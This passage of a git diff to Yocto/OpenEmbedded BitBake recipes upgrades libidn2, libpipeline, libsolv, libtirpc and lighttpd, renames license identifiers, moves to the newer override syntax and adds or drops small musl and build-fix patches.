- file://lib/idn2.h.in;endline=27;md5=c2cd28d3f87260f157f022eabb83714f"
-
-SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz"
-SRC_URI[md5sum] = "b846d4d20e22b99d6f7387bb66e00a1f"
-SRC_URI[sha256sum] = "fc734732b506d878753ec6606982bf7b936e868c25c30ddb0d83f7d7056381fe"
-
-DEPENDS = "virtual/libiconv libunistring"
-
-inherit pkgconfig autotools gettext texinfo gtk-doc lib_package
-
-EXTRA_OECONF += "--disable-rpath \
- --with-libunistring-prefix=${STAGING_EXECPREFIXDIR} \
- "
-
-do_install_append() {
- sed -i -e 's|-L${STAGING_LIBDIR}||' ${D}${libdir}/pkgconfig/libidn2.pc
-}
-
-LICENSE_${PN} = "(GPLv2+ | LGPLv3)"
-LICENSE_${PN}-bin = "GPLv3+"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libidn/libidn2_2.3.2.bb b/meta/recipes-extended/libidn/libidn2_2.3.2.bb
new file mode 100644
index 0000000000..7316c031ce
--- /dev/null
+++ b/meta/recipes-extended/libidn/libidn2_2.3.2.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Internationalized Domain Name support library"
+DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group."
+HOMEPAGE = "http://www.gnu.org/software/libidn/"
+SECTION = "libs"
+LICENSE = "(GPL-2.0-or-later | LGPL-3.0-only) & GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2d834ea7d480438ada04e5d846152395 \
+ file://COPYING.LESSERv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
+ file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://src/idn2.c;endline=16;md5=e4b6d628a84a55f1fd8ae4c76c5f6509 \
+ file://lib/idn2.h.in;endline=27;md5=d0fc8ec628be130a1d5b889107e92477"
+
+SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz"
+SRC_URI[sha256sum] = "76940cd4e778e8093579a9d195b25fff5e936e9dc6242068528b437a76764f91"
+
+DEPENDS = "virtual/libiconv libunistring"
+
+inherit pkgconfig autotools gettext texinfo gtk-doc lib_package
+
+EXTRA_OECONF += "--disable-rpath \
+ --with-libunistring-prefix=${STAGING_EXECPREFIXDIR} \
+ "
+
+do_install:append() {
+ # Need to remove any duplicate whitespace too for reproducibility
+ sed -i -e 's|-L${STAGING_LIBDIR}||' -e 's/ */ /g' ${D}${libdir}/pkgconfig/libidn2.pc
+}
+
+LICENSE:${PN} = "(GPL-2.0-or-later | LGPL-3.0-only)"
+LICENSE:${PN}-bin = "GPL-3.0-or-later"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libidn/libidn_1.35.bb b/meta/recipes-extended/libidn/libidn_1.35.bb
deleted file mode 100644
index d5ce5b46bd..0000000000
--- a/meta/recipes-extended/libidn/libidn_1.35.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-SUMMARY = "Internationalized Domain Name support library"
-DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group."
-HOMEPAGE = "http://www.gnu.org/software/libidn/"
-SECTION = "libs"
-LICENSE = "(LGPLv2.1+ | LGPLv3) & GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=df4be47940a91ee69556f5f71eed4aec \
- file://COPYING.LESSERv2;md5=4fbd65380cdd255951079008b364516c \
- file://COPYING.LESSERv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
- file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYINGv3;md5=d32239bcb673463ab874e80d47fae504 \
- file://lib/idna.h;endline=21;md5=37cffad24807f446a24de3e7371f20b9 \
- file://src/idn.c;endline=20;md5=09e97034a8877b3451cb65065fc2c06e"
-DEPENDS = "virtual/libiconv autoconf-archive"
-
-inherit pkgconfig autotools gettext texinfo gtk-doc
-
-SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz \
- file://libidn_fix_for_automake-1.12.patch \
- file://avoid_AM_PROG_MKDIR_P_warning_error_with_automake_1.12.patch \
- file://dont-depend-on-help2man.patch \
- file://0001-idn-format-security-warnings.patch \
- "
-
-SRC_URI[md5sum] = "bef634141fe39326cb354b75e891fead"
-SRC_URI[sha256sum] = "f11af1005b46b7b15d057d7f107315a1ad46935c7fcdf243c16e46ec14f0fe1e"
-
-# command tool is under GPLv3+, while libidn itself is under LGPLv2.1+ or LGPLv3
-# so package command into a separate package
-PACKAGES =+ "idn"
-FILES_idn = "${bindir}/*"
-
-LICENSE_${PN} = "LGPLv2.1+ | LGPLv3"
-LICENSE_idn = "GPLv3+"
-
-EXTRA_OECONF = "--disable-csharp"
-
-do_install_append() {
- rm -rf ${D}${datadir}/emacs
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-extended/libmnl/libmnl_1.0.4.bb b/meta/recipes-extended/libmnl/libmnl_1.0.4.bb
index 23262e8c6f..4dbd9c2450 100644
--- a/meta/recipes-extended/libmnl/libmnl_1.0.4.bb
+++ b/meta/recipes-extended/libmnl/libmnl_1.0.4.bb
@@ -1,12 +1,12 @@
SUMMARY = "Minimalistic user-space Netlink utility library"
DESCRIPTION = "Minimalistic user-space library oriented to Netlink developers, providing \
functions for common tasks in parsing, validating, and constructing both the Netlink header and TLVs."
-HOMEPAGE = "http://www.netfilter.org/projects/libmnl/index.html"
+HOMEPAGE = "https://www.netfilter.org/projects/libmnl/index.html"
SECTION = "libs"
-LICENSE = "LGPLv2.1+"
+LICENSE = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-SRC_URI = "http://www.netfilter.org/projects/libmnl/files/libmnl-${PV}.tar.bz2;name=tar"
+SRC_URI = "https://netfilter.org/projects/libmnl/files/libmnl-${PV}.tar.bz2;name=tar"
SRC_URI[tar.md5sum] = "be9b4b5328c6da1bda565ac5dffadb2d"
SRC_URI[tar.sha256sum] = "171f89699f286a5854b72b91d06e8f8e3683064c5901fb09d954a9ab6f551f81"
diff --git a/meta/recipes-extended/libnsl/libnsl2_git.bb b/meta/recipes-extended/libnsl/libnsl2_git.bb
index c3a24face1..7919ef9b24 100644
--- a/meta/recipes-extended/libnsl/libnsl2_git.bb
+++ b/meta/recipes-extended/libnsl/libnsl2_git.bb
@@ -5,16 +5,16 @@ SUMMARY = "Library containing NIS functions using TI-RPC (IPv6 enabled)"
DESCRIPTION = "This library contains the public client interface for NIS(YP) and NIS+\
it was part of glibc and now is standalone packages. it also supports IPv6"
HOMEPAGE = "https://github.com/thkukuk/libnsl"
-LICENSE = "LGPL-2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
SECTION = "libs"
DEPENDS = "libtirpc"
-PV = "1.2.0+git${SRCPV}"
+PV = "2.0.0"
-SRCREV = "37c5ffe3038d42e9fa9ed232ad2cbca4d8f14681"
+SRCREV = "82245c0c58add79a8e34ab0917358217a70e5100"
-SRC_URI = "git://github.com/thkukuk/libnsl \
+SRC_URI = "git://github.com/thkukuk/libnsl;branch=master;protocol=https \
"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-extended/libnss-nis/libnss-nis.bb b/meta/recipes-extended/libnss-nis/libnss-nis.bb
index a1d914e871..d0afb3ca0a 100644
--- a/meta/recipes-extended/libnss-nis/libnss-nis.bb
+++ b/meta/recipes-extended/libnss-nis/libnss-nis.bb
@@ -8,7 +8,7 @@ This code was formerly part of glibc, but is now standalone to\
be able to link against TI-RPC for IPv6 support."
HOMEPAGE = "https://github.com/thkukuk/libnss_nis"
-LICENSE = "LGPL-2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
SECTION = "libs"
DEPENDS += "libtirpc libnsl2"
@@ -17,7 +17,7 @@ PV = "3.1+git${SRCPV}"
SRCREV = "062f31999b35393abf7595cb89dfc9590d5a42ad"
-SRC_URI = "git://github.com/thkukuk/libnss_nis \
+SRC_URI = "git://github.com/thkukuk/libnss_nis;branch=master;protocol=https \
"
S = "${WORKDIR}/git"
@@ -28,4 +28,4 @@ BBCLASSEXTEND += "native nativesdk"
#
# We will skip parsing this packagegeoup for non-glibc systems
#
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
diff --git a/meta/recipes-extended/libpipeline/libpipeline_1.5.1.bb b/meta/recipes-extended/libpipeline/libpipeline_1.5.1.bb
deleted file mode 100644
index a5802074b1..0000000000
--- a/meta/recipes-extended/libpipeline/libpipeline_1.5.1.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-SUMMARY = "pipeline manipulation library"
-DESCRIPTION = "This is a C library for setting up and running pipelines of processes, \
-without needing to involve shell command-line parsing which is often \
-error-prone and insecure."
-HOMEPAGE = "http://libpipeline.nongnu.org/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/libpipeline/libpipeline-${PV}.tar.gz"
-SRC_URI[md5sum] = "4c8fe6cd85422baafd6e060f896c61bc"
-SRC_URI[sha256sum] = "d633706b7d845f08b42bc66ddbe845d57e726bf89298e2cee29f09577e2f902f"
-
-inherit pkgconfig autotools
-
-acpaths = "-I ${S}/gl/m4 -I ${S}/m4"
diff --git a/meta/recipes-extended/libpipeline/libpipeline_1.5.5.bb b/meta/recipes-extended/libpipeline/libpipeline_1.5.5.bb
new file mode 100644
index 0000000000..67072e8c99
--- /dev/null
+++ b/meta/recipes-extended/libpipeline/libpipeline_1.5.5.bb
@@ -0,0 +1,14 @@
+SUMMARY = "pipeline manipulation library"
+DESCRIPTION = "This is a C library for setting up and running pipelines of processes, \
+without needing to involve shell command-line parsing which is often \
+error-prone and insecure."
+HOMEPAGE = "http://libpipeline.nongnu.org/"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/libpipeline/libpipeline-${PV}.tar.gz"
+SRC_URI[sha256sum] = "0c8367f8b82bb721b50647a647115b6e62a37e3b2e954a9685e4d933f30c00cc"
+
+inherit pkgconfig autotools
+
+acpaths = "-I ${S}/gl/m4 -I ${S}/m4"
diff --git a/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
new file mode 100644
index 0000000000..6f0dea2e9c
--- /dev/null
+++ b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
@@ -0,0 +1,34 @@
+From 06321f1a2aa89b8e028946e793344657eaad0165 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 28 Oct 2021 22:28:45 -0700
+Subject: [PATCH] utils: Conside musl when wrapping qsort_r
+
+musl now has implemented qsort_r, the signature however matches glibc
+and not BSD, current check makes it such that it falls into BSD case
+when building for musl, which clearly is wrong, therefore instead of
+just checking for glibc check for linux to decide which qsort_r
+signature to use. This covers both glibc and musl
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/util.c b/src/util.c
+index 72426e09..8f29bc5a 100644
+--- a/src/util.c
++++ b/src/util.c
+@@ -159,7 +159,7 @@ solv_setcloexec(int fd, int state)
+
+ see also: http://sources.redhat.com/ml/libc-alpha/2008-12/msg00003.html
+ */
+-#if (defined(__GLIBC__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
++#if (defined(__linux__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
+
+ void
+ solv_sort(void *base, size_t nmemb, size_t size, int (*compar)(const void *, const void *, void *), void *compard)
+--
+2.33.1
+
diff --git a/meta/recipes-extended/libsolv/libsolv_0.7.21.bb b/meta/recipes-extended/libsolv/libsolv_0.7.21.bb
new file mode 100644
index 0000000000..acf61e3adc
--- /dev/null
+++ b/meta/recipes-extended/libsolv/libsolv_0.7.21.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Library for solving packages and reading repositories"
+DESCRIPTION = "This is libsolv, a free package dependency solver using a satisfiability algorithm for solving packages and reading repositories"
+HOMEPAGE = "https://github.com/openSUSE/libsolv"
+BUGTRACKER = "https://github.com/openSUSE/libsolv/issues"
+SECTION = "devel"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8"
+
+DEPENDS = "expat zlib"
+
+SRC_URI = "git://github.com/openSUSE/libsolv.git;branch=master;protocol=https \
+ file://0001-utils-Conside-musl-when-wrapping-qsort_r.patch \
+"
+
+SRCREV = "6f8bae1fea9c923bddf01c27115123010d191b07"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+PACKAGECONFIG ??= "${@bb.utils.contains('PACKAGE_CLASSES','package_rpm','rpm','',d)}"
+PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON,,rpm"
+
+EXTRA_OECMAKE = "-DMULTI_SEMANTICS=ON -DENABLE_COMPLEX_DEPS=ON"
+
+PACKAGES =+ "${PN}-tools ${PN}ext"
+
+FILES:${PN}-tools = "${bindir}/*"
+FILES:${PN}ext = "${libdir}/${PN}ext.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libsolv/libsolv_0.7.6.bb b/meta/recipes-extended/libsolv/libsolv_0.7.6.bb
deleted file mode 100644
index 3df8993089..0000000000
--- a/meta/recipes-extended/libsolv/libsolv_0.7.6.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Library for solving packages and reading repositories"
-HOMEPAGE = "https://github.com/openSUSE/libsolv"
-BUGTRACKER = "https://github.com/openSUSE/libsolv/issues"
-SECTION = "devel"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8"
-
-DEPENDS = "expat zlib"
-
-SRC_URI = "git://github.com/openSUSE/libsolv.git \
-"
-
-SRCREV = "17ce4bc4fb52a0b32964f3b7d491c18177980be1"
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-inherit cmake
-
-PACKAGECONFIG ??= "rpm"
-PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON,,rpm"
-
-EXTRA_OECMAKE = "-DMULTI_SEMANTICS=ON -DENABLE_COMPLEX_DEPS=ON"
-
-PACKAGES =+ "${PN}-tools ${PN}ext"
-
-FILES_${PN}-tools = "${bindir}/*"
-FILES_${PN}ext = "${libdir}/${PN}ext.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libtirpc/libtirpc/musl.patch b/meta/recipes-extended/libtirpc/libtirpc/musl.patch
deleted file mode 100644
index 21cd9f9588..0000000000
--- a/meta/recipes-extended/libtirpc/libtirpc/musl.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-Consider musl provided built-in defines
-
-Helps compile libtirpc with musl
-bits/endian.h is not supposed to be included directly
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
---- a/tirpc/rpc/types.h
-+++ b/tirpc/rpc/types.h
-@@ -66,7 +66,7 @@ typedef int32_t rpc_inline_t;
- #define mem_free(ptr, bsize) free(ptr)
-
-
--#if defined __APPLE_CC__ || defined __FreeBSD__
-+#if defined __APPLE_CC__ || defined __FreeBSD__ || !defined(__GLIBC__)
- # define __u_char_defined
- # define __daddr_t_defined
- #endif
---- a/src/xdr_float.c
-+++ b/src/xdr_float.c
-@@ -83,7 +83,7 @@ static struct sgl_limits {
- };
- #else
-
--#include <bits/endian.h>
-+#include <endian.h>
- #define IEEEFP
-
- #endif /* vax */
diff --git a/meta/recipes-extended/libtirpc/libtirpc_1.1.4.bb b/meta/recipes-extended/libtirpc/libtirpc_1.1.4.bb
deleted file mode 100644
index e73ffe7b17..0000000000
--- a/meta/recipes-extended/libtirpc/libtirpc_1.1.4.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Transport-Independent RPC library"
-DESCRIPTION = "Libtirpc is a port of Suns Transport-Independent RPC library to Linux"
-SECTION = "libs/network"
-HOMEPAGE = "http://sourceforge.net/projects/libtirpc/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=183075&atid=903784"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f835cce8852481e4b2bbbdd23b5e47f3 \
- file://src/netname.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
-
-PROVIDES = "virtual/librpc"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2 \
- file://musl.patch \
- "
-UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/libtirpc/files/libtirpc/"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
-SRC_URI[md5sum] = "f5d2a623e9dfbd818d2f3f3a4a878e3a"
-SRC_URI[sha256sum] = "2ca529f02292e10c158562295a1ffd95d2ce8af97820e3534fe1b0e3aec7561d"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF = "--disable-gssapi"
-
-do_install_append() {
- chown root:root ${D}${sysconfdir}/netconfig
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libtirpc/libtirpc_1.3.2.bb b/meta/recipes-extended/libtirpc/libtirpc_1.3.2.bb
new file mode 100644
index 0000000000..45b3d2befc
--- /dev/null
+++ b/meta/recipes-extended/libtirpc/libtirpc_1.3.2.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Transport-Independent RPC library"
+DESCRIPTION = "Libtirpc is a port of Suns Transport-Independent RPC library to Linux"
+SECTION = "libs/network"
+HOMEPAGE = "http://sourceforge.net/projects/libtirpc/"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=183075&atid=903784"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f835cce8852481e4b2bbbdd23b5e47f3 \
+ file://src/netname.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
+
+PROVIDES = "virtual/librpc"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2"
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/libtirpc/files/libtirpc/"
+UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
+SRC_URI[sha256sum] = "e24eb88b8ce7db3b7ca6eb80115dd1284abc5ec32a8deccfed2224fc2532b9fd"
+
+inherit autotools pkgconfig
+
+EXTRA_OECONF = "--disable-gssapi"
+
+do_install:append() {
+ chown root:root ${D}${sysconfdir}/netconfig
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch b/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
deleted file mode 100644
index f17bdce2c0..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 22afc5d9aaa215c3c87ba21c77d47da44ab3b113 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 26 Aug 2016 18:20:32 +0300
-Subject: [PATCH] Use pkg-config for pcre dependency instead of -config script.
-
-RP 2014/5/22
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- configure.ac | 16 ++++++++++++----
- 1 file changed, 12 insertions(+), 4 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 5383cec..c29a902 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -651,10 +651,18 @@ AC_ARG_WITH([pcre],
- )
- AC_MSG_RESULT([$WITH_PCRE])
-
--if test "$WITH_PCRE" != no; then
-- if test "$WITH_PCRE" != yes; then
-- PCRE_LIB="-L$WITH_PCRE/lib -lpcre"
-- CPPFLAGS="$CPPFLAGS -I$WITH_PCRE/include"
-+if test "$WITH_PCRE" != "no"; then
-+ PKG_CHECK_MODULES(PCREPKG, [libpcre], [
-+ PCRE_LIB=${PCREPKG_LIBS}
-+ CPPFLAGS="$CPPFLAGS ${PCREPKG_CFLAGS}"
-+ ], [
-+ AC_MSG_ERROR([pcre pkgconfig not found, install the pcre-devel package or build with --without-pcre])
-+ ])
-+
-+ if test x"$PCRE_LIB" != x; then
-+ AC_DEFINE([HAVE_LIBPCRE], [1], [libpcre])
-+ AC_DEFINE([HAVE_PCRE_H], [1], [pcre.h])
-+ AC_SUBST(PCRE_LIB)
- else
- AC_PATH_PROG([PCRECONFIG], [pcre-config])
- if test -n "$PCRECONFIG"; then
---
-2.15.0
-
diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.54.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.54.bb
deleted file mode 100644
index 20ce698729..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd_1.4.54.bb
+++ /dev/null
@@ -1,83 +0,0 @@
-SUMMARY = "Lightweight high-performance web server"
-HOMEPAGE = "http://www.lighttpd.net/"
-BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579"
-
-SECTION = "net"
-RDEPENDS_${PN} = "lighttpd-module-dirlisting \
- lighttpd-module-indexfile \
- lighttpd-module-staticfile"
-RRECOMMENDS_${PN} = "lighttpd-module-access \
- lighttpd-module-accesslog"
-
-SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \
- file://index.html.lighttpd \
- file://lighttpd.conf \
- file://lighttpd \
- file://0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch \
- "
-
-SRC_URI[md5sum] = "7abc776243c811e9872f73ab38b7f8b5"
-SRC_URI[sha256sum] = "cf14cce2254a96d8fcb6d3181e1a3c29a8f832531c3e86ff6f2524ecda9a8721"
-
-PACKAGECONFIG ??= "openssl pcre zlib \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
-"
-
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
-PACKAGECONFIG[mmap] = "--enable-mmap,--disable-mmap"
-PACKAGECONFIG[libev] = "--with-libev,--without-libev,libev"
-PACKAGECONFIG[mysql] = "--with-mysql,--without-mysql,mariadb"
-PACKAGECONFIG[ldap] = "--with-ldap,--without-ldap,openldap"
-PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr"
-PACKAGECONFIG[valgrind] = "--with-valgrind,--without-valgrind,valgrind"
-PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl"
-PACKAGECONFIG[krb5] = "--with-krb5,--without-krb5,krb5"
-PACKAGECONFIG[pcre] = "--with-pcre,--without-pcre,libpcre"
-PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
-PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2"
-PACKAGECONFIG[webdav-props] = "--with-webdav-props,--without-webdav-props,libxml2 sqlite3"
-PACKAGECONFIG[webdav-locks] = "--with-webdav-locks,--without-webdav-locks,util-linux"
-PACKAGECONFIG[gdbm] = "--with-gdbm,--without-gdbm,gdbm"
-PACKAGECONFIG[memcache] = "--with-memcached,--without-memcached,libmemcached"
-PACKAGECONFIG[lua] = "--with-lua,--without-lua,lua"
-
-EXTRA_OECONF += "--enable-lfs --without-fam"
-
-inherit autotools pkgconfig update-rc.d gettext systemd
-
-INITSCRIPT_NAME = "lighttpd"
-INITSCRIPT_PARAMS = "defaults 70"
-
-SYSTEMD_SERVICE_${PN} = "lighttpd.service"
-
-do_install_append() {
- install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav
- install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d
- install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd
- install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html
-
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@BASE_BINDIR@,${base_bindir},g' \
- ${D}${systemd_unitdir}/system/lighttpd.service
- #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data
- ln -sf ${localstatedir}/log ${D}/www/logs
- ln -sf ${localstatedir}/tmp ${D}/www/var
-}
-
-FILES_${PN} += "${sysconfdir} /www"
-
-CONFFILES_${PN} = "${sysconfdir}/lighttpd/lighttpd.conf"
-
-PACKAGES_DYNAMIC += "^lighttpd-module-.*"
-
-python populate_packages_prepend () {
- lighttpd_libdir = d.expand('${libdir}')
- do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='')
-}
diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.64.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.64.bb
new file mode 100644
index 0000000000..8d2e77e011
--- /dev/null
+++ b/meta/recipes-extended/lighttpd/lighttpd_1.4.64.bb
@@ -0,0 +1,79 @@
+SUMMARY = "Lightweight high-performance web server"
+HOMEPAGE = "http://www.lighttpd.net/"
+DESCRIPTION = "Lightweight high-performance web server is designed and optimized for high performance environments. With a small memory footprint compared to other web-servers, effective management of the cpu-load, and advanced feature set (FastCGI, SCGI, Auth, Output-Compression, URL-Rewriting and many more)"
+BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579"
+
+SECTION = "net"
+RDEPENDS:${PN} = "lighttpd-module-dirlisting \
+ lighttpd-module-indexfile \
+ lighttpd-module-staticfile"
+RRECOMMENDS:${PN} = "lighttpd-module-access \
+ lighttpd-module-accesslog"
+
+SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \
+ file://index.html.lighttpd \
+ file://lighttpd.conf \
+ file://lighttpd \
+ "
+
+SRC_URI[sha256sum] = "e1489d9fa7496fbf2e071c338b593b2300d38c23f1e5967e52c9ef482e1b0e26"
+
+DEPENDS = "virtual/crypt"
+
+PACKAGECONFIG ??= "openssl pcre zlib \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
+"
+
+PACKAGECONFIG[libev] = "-Dwith_libev=true,-Dwith_libev=false,libev"
+PACKAGECONFIG[mysql] = "-Dwith_mysql=true,-Dwith_mysql=false,mariadb"
+PACKAGECONFIG[ldap] = "-Dwith_ldap=true,-Dwith_ldap=false,openldap"
+PACKAGECONFIG[attr] = "-Dwith_xattr=true,-Dwith_xattr=false,attr"
+PACKAGECONFIG[openssl] = "-Dwith_openssl=true,-Dwith_openssl=false,openssl"
+PACKAGECONFIG[krb5] = "-Dwith_krb5=true,-Dwith_krb5=false,krb5"
+PACKAGECONFIG[pcre] = "-Dwith_pcre=true,-Dwith_pcre=false,libpcre"
+PACKAGECONFIG[zlib] = "-Dwith_zlib=true,-Dwith_zlib=false,zlib"
+PACKAGECONFIG[bzip2] = "-Dwith_bzip=true,-Dwith_bzip=false,bzip2"
+PACKAGECONFIG[webdav-props] = "-Dwith_webdav_props=true,-Dwith_webdav_props=false,libxml2 sqlite3"
+PACKAGECONFIG[webdav-locks] = "-Dwith_webdav_locks=true,-Dwith_webdav_locks=false,util-linux"
+PACKAGECONFIG[lua] = "-Dwith_lua=true,-Dwith_lua=false,lua"
+PACKAGECONFIG[zstd] = "-Dwith_zstd=true,-Dwith_zstd=false,zstd"
+
+inherit meson pkgconfig update-rc.d gettext systemd
+
+INITSCRIPT_NAME = "lighttpd"
+INITSCRIPT_PARAMS = "defaults 70"
+
+SYSTEMD_SERVICE:${PN} = "lighttpd.service"
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav
+ install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d
+ install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd
+ install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html
+
+ install -d ${D}${systemd_system_unitdir}
